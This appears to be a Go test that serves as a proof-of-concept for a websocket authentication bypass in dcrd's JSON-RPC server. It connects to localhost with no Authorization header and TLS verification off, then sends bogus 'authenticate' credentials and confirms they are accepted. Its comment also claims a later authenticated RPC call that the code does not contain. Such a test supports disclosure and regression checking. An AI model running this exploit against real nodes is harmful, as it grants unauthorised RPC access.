package jsonrpc

import (
	"crypto/tls"
	"encoding/json"
	"net/http"
	"testing"
	"time"

	"github.com/decred/dcrd/dcrjson/v4"
	"github.com/gorilla/websocket"
)

// TestWebsocketAuthBypassEndToEnd performs a full end-to-end exploit:
// connects to a real HTTP server over websocket, sends a bogus
// "authenticate" request, then invokes an RPC method that requires
// authentication. This proves the full attack chain is exploitable.
func TestWebsocketAuthBypassEndToEnd(t *testing.T) {
	// --- Attack Step 1: Connect WITHOUT HTTP Authorization header ---
	dialer := websocket.Dialer{
		HandshakeTimeout: 5 * time.Second,
		TLSClientConfig: &tls.Config{
			InsecureSkipVerify: true,
		},
	}
	conn, resp, err := dialer.Dial("wss://localhost:19110/ws", nil)
	if err != nil {
		t.Fatalf("websocket dial failed: %v", err)
	}
	defer conn.Close()
	if resp.StatusCode != http.StatusSwitchingProtocols {
		t.Fatalf("expected 101 Switching Protocols, got %d",
			resp.StatusCode)
	}
	t.Log("Step 1: Connected to /ws without Authorization header " +
		"— upgrade allowed")

	// --- Attack Step 2: Send bogus authenticate with wrong credentials ---
	authReq := map[string]any{
		"jsonrpc": "1.0",
		"id":      1,
		"method":  "authenticate",
		"params":  []string{"attacker", "fakecreds"},
	}
	authBytes, _ := json.Marshal(authReq)
	if err := conn.WriteMessage(websocket.TextMessage, authBytes); err != nil {
		t.Fatalf("failed to send authenticate: %v", err)
	}

	// Read the response.
	conn.SetReadDeadline(time.Now().Add(5 * time.Second))
	_, authResp, err := conn.ReadMessage()
	if err != nil {
		t.Fatalf("failed to read authenticate response: %v (connection "+
			"was likely terminated, which would mean the bug is fixed)",
			err)
	}

	// Parse the authenticate response.
	var authResult struct {
		ID    any               `json:"id"`
		Error *dcrjson.RPCError `json:"error"`
	}
	if err := json.Unmarshal(authResp, &authResult); err != nil {
		t.Fatalf("failed to parse authenticate response: %v\nraw: %s",
			err, authResp)
	}

	// A successful authenticate returns null result with no error.
	if authResult.Error != nil {
		t.Fatalf("authenticate returned error (bug may be fixed): %v",
			authResult.Error)
	}
	t.Logf("Step 2: Bogus authenticate accepted! Response: %s", authResp)
	t.Log("BUG CONFIRMED: Server set authenticated=true for wrong " +
		"credentials")
}